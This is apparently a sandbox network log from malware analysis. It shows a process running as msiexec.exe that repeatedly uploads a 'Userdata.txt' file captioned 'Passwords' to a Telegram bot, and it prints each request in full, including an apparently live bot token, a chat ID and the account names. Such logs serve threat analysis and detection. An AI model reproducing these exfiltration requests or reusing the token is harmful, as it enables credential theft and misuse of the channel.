2024-11-25 12:47:53 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 39 64 65 39 65 65 64 66 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0d9de9eedfb2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:47:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:47:53 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:47:53 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":641,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49909	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:56 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0dc438f2f66d Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:47:56 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 63 34 33 38 66 32 66 36 36 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0dc438f2f66dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:47:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:47:56 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:47:57 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":642,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49921	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:59 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0dea4ec4d08d Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:47:59 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 65 61 34 65 63 34 64 30 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0dea4ec4d08dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:00 GMT Content-Type: application/json Content-Length: 577 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:00 UTC	577	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":643,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49929	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:03 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0e1435d6b8b6 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:03 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 31 34 33 35 64 36 62 38 62 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0e1435d6b8b6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:04 GMT Content-Type: application/json Content-Length: 577 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:04 UTC	577	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":644,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49940	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:07 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0e387c56ffd5 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:07 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 33 38 37 63 35 36 66 66 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0e387c56ffd5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:07 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:07 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":645,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49947	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:10 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0e5c8ddae85b Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:10 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 35 63 38 64 64 61 65 38 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0e5c8ddae85bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:10 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:10 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":646,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49958	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:13 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0e7f163530dd Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:13 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 37 66 31 36 33 35 33 30 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0e7f163530ddContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:14 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:14 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":647,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49966	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:16 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0ea2bd3f0271 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:16 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 61 32 62 64 33 66 30 32 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0ea2bd3f0271Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:17 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
